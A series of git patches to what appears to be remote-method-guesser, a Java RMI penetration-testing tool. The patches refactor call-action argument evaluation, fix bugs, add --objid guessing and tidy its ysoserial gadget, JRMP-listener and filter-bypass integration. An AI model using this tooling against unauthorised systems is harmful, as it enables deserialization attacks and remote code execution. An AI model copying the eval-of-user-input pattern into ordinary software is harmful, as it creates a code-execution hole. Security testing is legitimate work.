a653e6367260ba46333e596d81da283a64fc80f1 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 6 May 2024 21:32:59 +0200 Subject: [PATCH 45/62] Change argument format of call action --- .../rmg/internal/ArgumentHandler.java | 4 +- src/eu/tneitzel/rmg/internal/RMGOption.java | 1 + .../tneitzel/rmg/plugin/DefaultProvider.java | 88 ++++++++++++++----- .../rmg/plugin/IArgumentProvider.java | 8 +- src/eu/tneitzel/rmg/plugin/PluginSystem.java | 7 +- 5 files changed, 76 insertions(+), 32 deletions(-) diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index a9eca07..a55e1f9 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -351,8 +351,8 @@ public Object[] getCallArguments() { try { - String argumentString = (String) RMGOption.CALL_ARGUMENTS.require(); - return PluginSystem.getArgumentArray(argumentString); + String[] args = (String[])RMGOption.CALL_ARGUMENTS.require(); + return PluginSystem.getArgumentArray(args); } catch (RequirementException e) diff --git a/src/eu/tneitzel/rmg/internal/RMGOption.java b/src/eu/tneitzel/rmg/internal/RMGOption.java index d7d2792..ecf5139 100644 --- a/src/eu/tneitzel/rmg/internal/RMGOption.java +++ b/src/eu/tneitzel/rmg/internal/RMGOption.java @@ -453,6 +453,7 @@ public enum RMGOption implements IOption RMGOptionGroup.NONE, new IArgumentModifier[] { new MetaVar("args"), + new NArgs("*") }), /** ObjID string to parse */ diff --git a/src/eu/tneitzel/rmg/plugin/DefaultProvider.java b/src/eu/tneitzel/rmg/plugin/DefaultProvider.java index 3cca421..74a3335 100644 --- a/src/eu/tneitzel/rmg/plugin/DefaultProvider.java +++ b/src/eu/tneitzel/rmg/plugin/DefaultProvider.java @@ -35,8 +35,8 @@ * * @author Tobias Neitzel (@qtc_de) */ -public class DefaultProvider implements IArgumentProvider, IPayloadProvider, ISocketFactoryProvider { - +public class DefaultProvider implements IArgumentProvider, IPayloadProvider, ISocketFactoryProvider +{ /** * Return an RMIServerImpl object as used by JMX endpoints when invoked from the bind, rebind or unbind * actions. In this case, name is expected to be 'jmx' or args is expected to be null. When the name is @@ -51,21 +51,26 @@ public class DefaultProvider implements IArgumentProvider, IPayloadProvider, ISo @Override public Object getPayloadObject(Operation action, String name, String args) { - switch(action) { - + switch(action) + { case BIND: case REBIND: case UNBIND: - if(name.equalsIgnoreCase("jmx")) { + if (name.equalsIgnoreCase("jmx")) + { String[] split = RMGUtils.splitListener(args); return RegistryClient.prepareRMIServerImpl(split[0], Integer.valueOf(split[1])); + } - } else if(args == null) { + else if (args == null) + { String[] split = RMGUtils.splitListener(name); return RegistryClient.prepareRMIServerImpl(split[0], Integer.valueOf(split[1])); + } - } else { + else + { Logger.eprintlnMixedYellow("The specified gadget", name, "is not supported for this action."); RMGUtils.exit(); } @@ -74,7 +79,8 @@ public Object getPayloadObject(Operation action, String name, String args) default: - if(args == null) { + if (args == null) + { Logger.eprintlnMixedBlue("Specifying a", "gadget argument", "is required for this action."); RMGUtils.exit(); } @@ -86,40 +92,50 @@ public Object getPayloadObject(Operation action, String name, String args) } /** - * This function performs basically an eval operation on the user specified argumentString. The argument string is - * inserted into the following expression: return new Object[] { " + argumentString + "}; + * This function performs basically an eval operation on the user specified arguments. The argument string is + * inserted into the following expression: return new Object[] { arg1, arg2, arg3, ... }; * This expression is evaluated and the resulting Object array is returned by this function. For this to work it is * important that all arguments within the argumentString are valid Java Object definitions. E.g. one has to use * new Integer(5) instead of a plain 5. */ @Override - public Object[] getArgumentArray(String argumentString) + public Object[] getArgumentArray(String[] args) { Object[] result = null; ClassPool pool = ClassPool.getDefault(); - try { + String argumentString = prepareArgumentString(args); + StringBuilder evalFunction = new StringBuilder(); + + evalFunction.append("public static Object[] eval() { return new Object[] {"); + evalFunction.append(argumentString); + evalFunction.append("};}"); + + try + { CtClass evaluator = pool.makeClass("eu.tneitzel.rmg.plugin.DefaultProviderEval"); - String evalFunction = "public static Object[] eval() {" - + " return new Object[] { " + argumentString + "};" - + "}"; - CtMethod me = CtNewMethod.make(evalFunction, evaluator); + + CtMethod me = CtNewMethod.make(evalFunction.toString(), evaluator); evaluator.addMethod(me); Class evalClass = evaluator.toClass(); Method m = evalClass.getDeclaredMethods()[0]; result = (Object[]) m.invoke(evalClass, (Object[])null); + } - } catch(VerifyError | CannotCompileException e) { + catch(VerifyError | CannotCompileException e) + { Logger.eprintlnMixedYellow("Specified argument string", argumentString, "is invalid."); Logger.eprintlnMixedBlue("Argument string has to be a valid Java expression like:", "'\"id\", new Integer(4)'."); Logger.eprintMixedYellow("Make sure that each argument is an", "Object", "not a "); Logger.printlnPlainYellow("Primitive."); ExceptionHandler.showStackTrace(e); RMGUtils.exit(); + } - } catch (Exception e) { + catch (Exception e) + { ExceptionHandler.unexpectedException(e, "argument array", "generation", true); } @@ -132,17 +148,24 @@ public Object[] getArgumentArray(String argumentString) @Override public RMIClientSocketFactory getClientSocketFactory(String host, int port) { - if( RMGOption.SSRF.getBool() ) { + if (RMGOption.SSRF.getBool()) + { return new SSRFSocketFactory(); + } - } else if( RMGOption.SSRFRESPONSE.notNull() ) { + else if (RMGOption.SSRFRESPONSE.notNull()) + { byte[] content = RMGUtils.hexToBytes(RMGOption.SSRFRESPONSE.getValue()); return new SSRFResponseSocketFactory(content); + } - } else if( RMGOption.CONN_SSL.getBool() ) { + else if (RMGOption.CONN_SSL.getBool()) + { return new TrustAllSocketFactory(); + } - } else { + else + { return RMISocketFactory.getDefaultSocketFactory(); } } @@ -200,4 +223,25 @@ public String getDefaultSSLSocketFactory(String host, int port) return "eu.tneitzel.rmg.networking.LoopbackSslSocketFactory"; } + + /** + * Transforms an array of string arguments to a representation that can be used within new Object[] {}. + * + * @param args user specified arguments + * @return prepared argument string + */ + private static String prepareArgumentString(String[] args) + { + StringBuilder argString = new StringBuilder(); + + for (String arg : args) + { + argString.append(arg); + argString.append(","); + } + + argString.setLength(argString.length() - 1); + + return argString.toString(); + } } diff --git a/src/eu/tneitzel/rmg/plugin/IArgumentProvider.java b/src/eu/tneitzel/rmg/plugin/IArgumentProvider.java index 73396e6..8377ed0 100644 --- a/src/eu/tneitzel/rmg/plugin/IArgumentProvider.java +++ b/src/eu/tneitzel/rmg/plugin/IArgumentProvider.java @@ -2,8 +2,8 @@ /** * The IArgumentProvider interface is used during rmg's 'call' action to obtain the argument array that should be - * used for the call. plugins can implement this class to obtain custom argument arrays that they want to use during - * the 'call' operation. The getArgumentArray method is called with the user specified argument string and is expected + * used for the call. plugins can implement this class to provide custom argument arrays that they want to use during + * the 'call' operation. The getArgumentArray method is called with the user specified arguments and is expected * to return the Object array that should be used for the call. * * This interface is implemented by rmg's DefaultProvider class by default. @@ -16,8 +16,8 @@ public interface IArgumentProvider /** * Provide an argument array for remote method calls. * - * @param argumentString the argument string specified on the command line + * @param args the arguments specified on the command line * @return argument array for a remote method call */ - Object[] getArgumentArray(String argumentString); + Object[] getArgumentArray(String[] args); } diff --git a/src/eu/tneitzel/rmg/plugin/PluginSystem.java b/src/eu/tneitzel/rmg/plugin/PluginSystem.java index d3102ce..984b0c0 100644 --- a/src/eu/tneitzel/rmg/plugin/PluginSystem.java +++ b/src/eu/tneitzel/rmg/plugin/PluginSystem.java @@ -17,7 +17,6 @@ import eu.tneitzel.argparse4j.inf.Subparsers; import eu.tneitzel.rmg.exceptions.MalformedPluginException; import eu.tneitzel.rmg.internal.ExceptionHandler; -import eu.tneitzel.rmg.internal.RMGOption; import eu.tneitzel.rmg.io.Logger; import eu.tneitzel.rmg.operations.Operation; import eu.tneitzel.rmg.utils.RMGUtils; @@ -198,12 +197,12 @@ public static Object getPayloadObject(Operation action, String name, String args * Is called during rmg's 'call' action to obtain the Object argument array. Just forwards the call to the corresponding * plugin. * - * @param argumentString as specified on the command line + * @param args as specified on the command line * @return Object array to use for the call */ - public static Object[] getArgumentArray(String argumentString) + public static Object[] getArgumentArray(String[] args) { - return argumentProvider.getArgumentArray(argumentString); + return argumentProvider.getArgumentArray(args); } /** From cd2a97837778d9d534741589a4d07669187f2895 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 6 May 2024 21:38:31 +0200 Subject: [PATCH 46/62] Update documentation of the call action --- CHANGELOG.md | 1 + README.md | 9 +++++---- 2 files changed, 6 insertions(+), 4 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 032fc86..4ddd409 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Improve RMI class loading for plugin classes (454a9fd17653ce3bceba58a9ba989e344ee2c7c7) * Improve `scan` action reliability (#62) * Refactor plugin system ([README](/plugins/README.md)) +* IArgumentProvider now accepts an array of arguments instead of a string (a653e6367260ba46333e596d81da283a64fc80f1) ## v5.0.0 - Dec 23, 2023 diff --git a/README.md b/README.md index 6bb8210..bdecca7 100644 --- a/README.md +++ b/README.md @@ -201,10 +201,11 @@ option. [+] uid=0(root) gid=0(root) groups=0(root) ``` -During the ``call`` action, the argument string is evaluated as a *Java expression* of the following form: ``new Object[]{ }``. Therefore, -you need to make sure that your argument string fits into that pattern. E.g. using ``"id"`` as an argument results in an error, as the argument is -passed as ``id`` to *remote-method-guesser* and the resulting expression ``new Object[]{ id }`` is not a valid *Java expression*. Instead, you need -to use ``'"id"'`` as this leads to ``new Object[]{ "id" }``, which is valid. +During the ``call`` action, the provided arguments are evaluated as *Java expression* by inserting them into the following template: +``new Object[]{ arg1, arg2, arg3, ... }``. Therefore, you need to make sure that your provided arguments fit into that pattern. E.g. +using ``"id"`` as an argument results in an error, as the argument is passed as ``id`` to *remote-method-guesser* and the resulting +expression ``new Object[]{ id }`` is not a valid *Java expression*. Instead, you need to use ``'"id"'`` as this leads to ``new Object[]{ "id" }``, +which is valid. Moreover, primitive types need to be specified in their corresponding object representation (e.g. ``new Integer(5)`` instead of ``5``). Otherwise they cannot be used within the ``Object[]`` array, that is created by the *Java expression*. During the *RMI call*, the corresponding arguments are used From 74e052af668ecab5992e007bd5acb16313563387 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 6 May 2024 21:41:40 +0200 Subject: [PATCH 47/62] Fix invalid cast --- src/eu/tneitzel/rmg/internal/ArgumentHandler.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java index a55e1f9..2908775 100644 --- a/src/eu/tneitzel/rmg/internal/ArgumentHandler.java +++ b/src/eu/tneitzel/rmg/internal/ArgumentHandler.java @@ -351,8 +351,8 @@ public Object[] getCallArguments() { try { - String[] args = (String[])RMGOption.CALL_ARGUMENTS.require(); - return PluginSystem.getArgumentArray(args); + List argList = RMGOption.CALL_ARGUMENTS.require(); + return PluginSystem.getArgumentArray(argList.toArray(new String[0])); } catch (RequirementException e) From d2e3cfe43e3f25e0748c820eb09febbd5df70e60 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 6 May 2024 21:43:16 +0200 Subject: [PATCH 48/62] Fix bug in default provider --- src/eu/tneitzel/rmg/plugin/DefaultProvider.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/src/eu/tneitzel/rmg/plugin/DefaultProvider.java b/src/eu/tneitzel/rmg/plugin/DefaultProvider.java index 74a3335..0adf688 100644 --- a/src/eu/tneitzel/rmg/plugin/DefaultProvider.java +++ b/src/eu/tneitzel/rmg/plugin/DefaultProvider.java @@ -101,6 +101,11 @@ else if (args == null) @Override public Object[] getArgumentArray(String[] args) { + if (args.length == 0) + { + return new Object[] {}; + } + Object[] result = null; ClassPool pool = ClassPool.getDefault(); From d0804684dec22a3e89bc334e24b75c1c14fcb1e8 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 14 May 2024 15:00:40 +0200 Subject: [PATCH 49/62] Fix swap of rogueJmx and objid action --- .../tneitzel/rmg/operations/Dispatcher.java | 46 +++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index 9e96f5b..30a8162 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -766,6 +766,29 @@ public void dispatchPortScan() * Prints detailed information on the user specified ObjID. */ public void dispatchObjID() + { + try + { + String objIDString = RMGOption.OBJID_OBJID.require(); + + ObjID objID = RMGUtils.parseObjID(objIDString); + RMGUtils.printObjID(objID); + } + + catch (RequirementException e) + { + ExceptionHandler.requirementException(e); + } + + } + + /** + * Creates a rogue JMX server. The target specification which normally identifies the + * remote endpoint is used to identify where the rogue JMX server should listen. An + * additional endpoint specification can be made using host:port syntax to forward jmx + * connections to. + */ + public void dispatchRogueJMX() { try { @@ -806,27 +829,4 @@ public void dispatchObjID() ExceptionHandler.requirementException(e); } } - - /** - * Creates a rogue JMX server. The target specification which normally identifies the - * remote endpoint is used to identify where the rogue JMX server should listen. An - * additional endpoint specification can be made using host:port syntax to forward jmx - * connections to. - */ - public void dispatchRogueJMX() - { - try - { - String objIDString = RMGOption.OBJID_OBJID.require(); - - ObjID objID = RMGUtils.parseObjID(objIDString); - RMGUtils.printObjID(objID); - } - - catch (RequirementException e) - { - ExceptionHandler.requirementException(e); - } - - } } From ef233a75920f29087263e391ee60f9fbcb55c213 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 May 2024 22:33:41 +0200 Subject: [PATCH 50/62] Add support for --objid during guess operation --- CHANGELOG.md | 1 + .../rmg/networking/RMIRegistryEndpoint.java | 6 ++ .../tneitzel/rmg/operations/Dispatcher.java | 59 +++++++++++++------ src/eu/tneitzel/rmg/utils/IUnknown.java | 16 +++++ src/eu/tneitzel/rmg/utils/UnicastWrapper.java | 4 +- 5 files changed, 68 insertions(+), 18 deletions(-) create mode 100644 src/eu/tneitzel/rmg/utils/IUnknown.java diff --git a/CHANGELOG.md b/CHANGELOG.md index 4ddd409..8dfbac9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -15,6 +15,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Add [plugin template](/plugins/template) * Add [Quartz Scheduler plugin](/plugins/quartz-scheduler) * Add [Quartz Scheduler container](/docker/quartz-server) +* Add `--objid` support for guess operation ### Changed diff --git a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java index e3290ad..c841bd8 100644 --- a/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java +++ b/src/eu/tneitzel/rmg/networking/RMIRegistryEndpoint.java @@ -2,6 +2,7 @@ import java.io.IOException; import java.io.InvalidClassException; +import java.io.StreamCorruptedException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.UnmarshalException; @@ -254,6 +255,11 @@ else if (e instanceof UnmarshalException && e.getMessage().contains("Transport r throw (UnmarshalException)e; } + else if (e instanceof UnmarshalException && ExceptionHandler.getCause(e) instanceof StreamCorruptedException) + { + throw (UnmarshalException)e; + } + if( cause instanceof ClassNotFoundException ) { ExceptionHandler.lookupClassNotFoundException(e, cause.getMessage()); diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index 30a8162..c450985 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -26,6 +26,7 @@ import eu.tneitzel.rmg.io.WordlistHandler; import eu.tneitzel.rmg.networking.RMIEndpoint; import eu.tneitzel.rmg.networking.RMIRegistryEndpoint; +import eu.tneitzel.rmg.utils.IUnknown; import eu.tneitzel.rmg.utils.RMGUtils; import eu.tneitzel.rmg.utils.RemoteObjectWrapper; import eu.tneitzel.rmg.utils.RogueJMX; @@ -33,6 +34,7 @@ import eu.tneitzel.rmg.utils.YsoIntegration; import javassist.CannotCompileException; import javassist.NotFoundException; +import sun.rmi.server.UnicastRef; /** * The dispatcher class contains all method definitions for the different rmg actions. It obtains a reference @@ -46,6 +48,7 @@ * * @author Tobias Neitzel (@qtc_de) */ +@SuppressWarnings("restriction") public class Dispatcher { private ArgumentHandler p; @@ -86,37 +89,59 @@ private void obtainBoundNames() throws NoSuchObjectException * The result is stored within an object attribute. * * It was observed that using --serial-version-uid option can cause an invalid transport return code - * exception. This seems to be some kind of race condition and cannot be reproduced reliably. The lookup - * operation on the RMI registry does pass only this UnmarshalException to the caller. If this is the case, - * we just retry a few times. + * exception. This seems to be some kind of race condition and cannot be reproduced reliably. It seems + * that RMI / Java does not clear the ObjectInput stream when reading an unknown class from it. The remaining + * bytes are left within the stream. Since RMI uses connection pooling, the next operation encounteres the + * invalid bytes and fails. If this is the case, we just retry a few times. * * @throws java.rmi.NoSuchObjectException is thrown when the specified RMI endpoint is not an RMI registry */ private void obtainBoundObjects() throws NoSuchObjectException { - int retryCount = 0; - - if (boundNames == null) + if (RMGOption.TARGET_OBJID.notNull()) { - obtainBoundNames(); - } + RMIEndpoint ep = getRMIEndpoint(); + ObjID objid = RMGUtils.parseObjID(RMGOption.TARGET_OBJID.getValue()); - while (retryCount < 5) - { try { - remoteObjects = getRegistry().lookupWrappers(boundNames); - return; + UnicastRef ref = ep.getRemoteRef(objid); + remoteObjects = new RemoteObjectWrapper[] { UnicastWrapper.fromRef(ref, IUnknown.class) }; } - catch (java.rmi.UnmarshalException e) + catch (IllegalArgumentException | IllegalAccessException | NoSuchFieldException | SecurityException e) { - retryCount += 1; + ExceptionHandler.internalError("obtainBoundObjects", "reflection"); } - catch (Exception e) + } + + else + { + int retryCount = 0; + + if (boundNames == null) { - ExceptionHandler.unexpectedException(e, "lookup", "operation", true); + obtainBoundNames(); + } + + while (retryCount < 5) + { + try + { + remoteObjects = getRegistry().lookupWrappers(boundNames); + return; + } + + catch (java.rmi.UnmarshalException e) + { + retryCount += 1; + } + + catch (Exception e) + { + ExceptionHandler.unexpectedException(e, "lookup", "operation", true); + } } } } @@ -157,7 +182,7 @@ public RMIEndpoint getRMIEndpoint() int port = RMGOption.TARGET_PORT.require(); String host = RMGOption.TARGET_HOST.require(); - this.createMethodCandidate(); + createMethodCandidate(); return new RMIEndpoint(host, port); } diff --git a/src/eu/tneitzel/rmg/utils/IUnknown.java b/src/eu/tneitzel/rmg/utils/IUnknown.java new file mode 100644 index 0000000..05cb1ee --- /dev/null +++ b/src/eu/tneitzel/rmg/utils/IUnknown.java @@ -0,0 +1,16 @@ +package eu.tneitzel.rmg.utils; + +import java.rmi.Remote; + +/** + * IUnknown is a dummy interface that is used when performing method guessing with + * a manually specified ObjID. The original implementation required an RemoteObjectWrapper, + * which is basically a wrapper around a remote object. When guessing on ObjID, we only + * have a remote ref. To make a wrapper out of it, we need to specify an interface that + * the ref implements. IUnknown is used for this purpose. + * + * @author Tobias Neitzel (@qtc_de) + */ +public interface IUnknown extends Remote +{ +} diff --git a/src/eu/tneitzel/rmg/utils/UnicastWrapper.java b/src/eu/tneitzel/rmg/utils/UnicastWrapper.java index d8ed51d..2e3771e 100644 --- a/src/eu/tneitzel/rmg/utils/UnicastWrapper.java +++ b/src/eu/tneitzel/rmg/utils/UnicastWrapper.java @@ -150,6 +150,8 @@ public String[] getDuplicateBoundNames() * the specified interface and uses a RemoteObjectInvocationHandler to forward method invocations to * the specified RemoteRef. * + * The boundname property that is part of each UnicastWrapper is set to the ObjID of the remote object. + * * @param unicastRef UnicastRef to the targeted RemoteObject * @param intf Interface that is implemented by the RemoteObject * @return UnicastWrapper created from the specified UnicastRef @@ -168,7 +170,7 @@ public static UnicastWrapper fromRef(UnicastRef unicastRef, Class intf) throw RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef); Remote remoteObject = (Remote)Proxy.newProxyInstance(intf.getClassLoader(), new Class[] { intf }, remoteObjectInvocationHandler); - return new UnicastWrapper(remoteObject, null, unicastRef); + return new UnicastWrapper(remoteObject, unicastRef.getLiveRef().getObjID().toString(), unicastRef); } /** From 85d6d24d60c02507b453a5be9f4092dadf95ee3f Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Thu, 16 May 2024 22:54:42 +0200 Subject: [PATCH 51/62] Let enum action continue on registry errors --- CHANGELOG.md | 1 + src/eu/tneitzel/rmg/io/Formatter.java | 7 +++- .../tneitzel/rmg/operations/Dispatcher.java | 38 +++++++++++-------- 3 files changed, 29 insertions(+), 17 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 8dfbac9..93a8153 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 * Improve `scan` action reliability (#62) * Refactor plugin system ([README](/plugins/README.md)) * IArgumentProvider now accepts an array of arguments instead of a string (a653e6367260ba46333e596d81da283a64fc80f1) +* Let `enum` action continue on RemoteObject retrieval errors ## v5.0.0 - Dec 23, 2023 diff --git a/src/eu/tneitzel/rmg/io/Formatter.java b/src/eu/tneitzel/rmg/io/Formatter.java index 75b6d22..4108f94 100644 --- a/src/eu/tneitzel/rmg/io/Formatter.java +++ b/src/eu/tneitzel/rmg/io/Formatter.java @@ -51,14 +51,17 @@ public void listBoundNames(RemoteObjectWrapper[] remoteObjects) for (RemoteObjectWrapper remoteObject : remoteObjects) { Logger.printlnMixedYellow("-", remoteObject.boundName); + Logger.increaseIndent(); if (remoteObject.remoteObject == null) { + Logger.printlnMixedRed("--> Error:", "RemoteObject could not be obtained from registry."); + Logger.printlnMixedBlue(" Check", "/docs/rmg/transport-errors.md", "for more information."); + + Logger.decreaseIndent(); continue; } - Logger.increaseIndent(); - if (remoteObject instanceof SpringRemotingWrapper) { Logger.printMixedBlue("-->", SpringRemotingWrapper.invocationHandlerClass, ""); diff --git a/src/eu/tneitzel/rmg/operations/Dispatcher.java b/src/eu/tneitzel/rmg/operations/Dispatcher.java index c450985..dcbf235 100644 --- a/src/eu/tneitzel/rmg/operations/Dispatcher.java +++ b/src/eu/tneitzel/rmg/operations/Dispatcher.java @@ -26,6 +26,7 @@ import eu.tneitzel.rmg.io.WordlistHandler; import eu.tneitzel.rmg.networking.RMIEndpoint; import eu.tneitzel.rmg.networking.RMIRegistryEndpoint; +import eu.tneitzel.rmg.utils.EmptyWrapper; import eu.tneitzel.rmg.utils.IUnknown; import eu.tneitzel.rmg.utils.RMGUtils; import eu.tneitzel.rmg.utils.RemoteObjectWrapper; @@ -113,36 +114,43 @@ private void obtainBoundObjects() throws NoSuchObjectException { ExceptionHandler.internalError("obtainBoundObjects", "reflection"); } - } else { - int retryCount = 0; - if (boundNames == null) { obtainBoundNames(); } - while (retryCount < 5) + remoteObjects = new RemoteObjectWrapper[boundNames.length]; + + outer: for (int ctr = 0; ctr < boundNames.length; ctr++) { - try - { - remoteObjects = getRegistry().lookupWrappers(boundNames); - return; - } + int retryCount = 0; - catch (java.rmi.UnmarshalException e) + while (retryCount < 5) { - retryCount += 1; - } + try + { + remoteObjects[ctr] = getRegistry().lookupWrapper(boundNames[ctr]); + continue outer; + } - catch (Exception e) - { - ExceptionHandler.unexpectedException(e, "lookup", "operation", true); + catch (java.rmi.UnmarshalException e) + { + retryCount += 1; + } + + catch (Exception e) + { + ExceptionHandler.unexpectedException(e, "lookup", "operation", true); + } } + + remoteObjects[ctr] = new EmptyWrapper(boundNames[ctr]); } + } } From bdb8ce9dcd31b071ce6d97d2138ed6884b079a66 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 9 Jun 2024 20:54:57 +0200 Subject: [PATCH 52/62] Fix output bug in yso-integration --- src/eu/tneitzel/rmg/utils/YsoIntegration.java | 74 +++++++++++++------ 1 file changed, 50 insertions(+), 24 deletions(-) diff --git a/src/eu/tneitzel/rmg/utils/YsoIntegration.java b/src/eu/tneitzel/rmg/utils/YsoIntegration.java index 825567d..db1fcc5 100644 --- a/src/eu/tneitzel/rmg/utils/YsoIntegration.java +++ b/src/eu/tneitzel/rmg/utils/YsoIntegration.java @@ -47,8 +47,8 @@ * @author Tobias Neitzel (@qtc_de) */ @SuppressWarnings("restriction") -public class YsoIntegration { - +public class YsoIntegration +{ private static String[] bypassGadgets = new String[]{"JRMPClient2", "AnTrinh"}; /** @@ -64,13 +64,18 @@ private static Object generateBypassGadget(String command) Object payloadObject = null; String[] split = command.split(":"); - if(split.length != 2 || !split[1].matches("\\d+")) { + if (split.length != 2 || !split[1].matches("\\d+")) + { ExceptionHandler.invalidListenerFormat(true); } - try { + try + { payloadObject = prepareAnTrinhGadget(split[0], Integer.valueOf(split[1])); - } catch (Exception e) { + } + + catch (Exception e) + { ExceptionHandler.unexpectedException(e, "bypass object", "generation", true); } @@ -88,7 +93,8 @@ private static URLClassLoader getClassLoader() throws MalformedURLException { File ysoJar = new File((String)RMGOption.YSO.getValue()); - if( !ysoJar.exists() ) { + if (!ysoJar.exists()) + { ExceptionHandler.ysoNotPresent(RMGOption.YSO.getValue()); } @@ -106,15 +112,21 @@ private static URLClassLoader getClassLoader() throws MalformedURLException */ private static InetAddress getLocalAddress(String host) { - InetAddress addr = null; - try { + try + { addr = InetAddress.getByName(host); + if (!addr.isAnyLocalAddress() && !addr.isLoopbackAddress()) + { NetworkInterface.getByInetAddress(addr); + } + + } - } catch (SocketException | UnknownHostException e) { + catch (SocketException | UnknownHostException e) + { Logger.eprintlnMixedYellow("Specified address", host, "seems not to be available on your host."); Logger.eprintlnMixedBlue("Listener address is expected to be", "bound locally."); ExceptionHandler.showStackTrace(e); @@ -140,7 +152,8 @@ private static InetAddress getLocalAddress(String host) */ public static void createJRMPListener(String host, int port, Object payloadObject) { - try { + try + { InetAddress bindAddress = getLocalAddress(host); URLClassLoader ucl = getClassLoader(); @@ -166,28 +179,38 @@ public static void createJRMPListener(String host, int port, Object payloadObjec runMethod.invoke(jrmpListener, new Object[] {}); System.exit(0); + } - } catch( java.net.BindException e ) { + catch (java.net.BindException e) + { ExceptionHandler.bindException(e); + } - } catch( java.lang.reflect.InvocationTargetException e) { - + catch (java.lang.reflect.InvocationTargetException e) + { Throwable t = ExceptionHandler.getCause(e); - if( t instanceof java.net.BindException) { + if (t instanceof java.net.BindException) + { ExceptionHandler.bindException(e); + } - } else if( t instanceof java.lang.IllegalArgumentException) { + else if (t instanceof java.lang.IllegalArgumentException) + { Logger.lineBreak(); - Logger.printlnMixedYellow("Caught", "IllegalArgumentException", "during JRMPListener creation."); - Logger.printlnMixedBlue("Exception message:", t.getMessage()); + Logger.eprintlnMixedYellow("Caught", "IllegalArgumentException", "during JRMPListener creation."); + Logger.eprintlnMixedBlue("Exception message:", t.getMessage()); RMGUtils.exit(); + } - } else { + else + { ExceptionHandler.unexpectedException(e, "JRMPListener", "creation", true); } + } - } catch( Exception e ) { + catch (Exception e) + { ExceptionHandler.unexpectedException(e, "JRMPListener", "creation", true); } } @@ -202,13 +225,15 @@ public static void createJRMPListener(String host, int port, Object payloadObjec */ public static Object getPayloadObject(String gadget, String command) { - if(Arrays.asList(bypassGadgets).contains(gadget)) { + if (Arrays.asList(bypassGadgets).contains(gadget)) + { return generateBypassGadget(command); } Object ysoPayload = null; - try { + try + { URLClassLoader ucl = getClassLoader(); Class yso = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ucl); @@ -216,12 +241,14 @@ public static Object getPayloadObject(String gadget, String command) Logger.print("Creating ysoserial payload..."); ysoPayload = method.invoke(null, new Object[] {gadget, command}); + } - } catch( Exception e) { + catch (Exception e) + { Logger.printlnPlain(" failed."); Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation."); Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an "); - Logger.printlnPlainBlue("invalid gadget argument."); + Logger.eprintlnPlainBlue("invalid gadget argument."); ExceptionHandler.showStackTrace(e); RMGUtils.exit(); } @@ -230,7 +257,6 @@ public static Object getPayloadObject(String gadget, String command) return ysoPayload; } - /** * The bypass technique implemented by this code was discovered by An Trinh (@_tint0) and a detailed analysis was * provided by Hans-Martin Münch (@h0ng10). Certain portions of the code were copied from the corresponding blog post: From e7a911fe6822ef56f5cd758afef0e236f992bbf3 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Sun, 9 Jun 2024 21:07:01 +0200 Subject: [PATCH 53/62] Add add-opens hint for ysoserial failures --- src/eu/tneitzel/rmg/utils/YsoIntegration.java | 22 +++++++++++++++---- 1 file changed, 18 insertions(+), 4 deletions(-) diff --git a/src/eu/tneitzel/rmg/utils/YsoIntegration.java b/src/eu/tneitzel/rmg/utils/YsoIntegration.java index db1fcc5..15c0743 100644 --- a/src/eu/tneitzel/rmg/utils/YsoIntegration.java +++ b/src/eu/tneitzel/rmg/utils/YsoIntegration.java @@ -3,6 +3,7 @@ import java.io.File; import java.lang.reflect.Constructor; import java.lang.reflect.Field; +import java.lang.reflect.InaccessibleObjectException; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.net.InetAddress; @@ -243,12 +244,25 @@ public static Object getPayloadObject(String gadget, String command) ysoPayload = method.invoke(null, new Object[] {gadget, command}); } - catch (Exception e) + catch (Exception e) { Logger.printlnPlain(" failed."); - Logger.eprintlnMixedYellow("Caught unexpected", e.getClass().getName(), "during gadget generation."); - Logger.eprintMixedBlue("You probably specified", "a wrong gadget name", "or an "); - Logger.eprintlnPlainBlue("invalid gadget argument."); + 